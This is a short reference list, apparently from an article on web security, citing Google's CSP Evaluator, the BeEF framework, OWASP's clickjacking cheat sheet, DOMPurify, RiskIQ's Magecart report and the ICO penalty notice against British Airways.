- Google. "CSP Evaluator." https://csp-evaluator.withgoogle.com/
- BeEF Project. "Browser Exploitation Framework." https://beefproject.com/
- OWASP Foundation. "Clickjacking Defense Cheat Sheet." https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
- Cure53. "DOMPurify." https://github.com/cure53/DOMPurify
- RiskIQ. "Inside Magecart." 2019.
- British Airways. "ICO Penalty Notice." Information Commissioner's Office, 2020.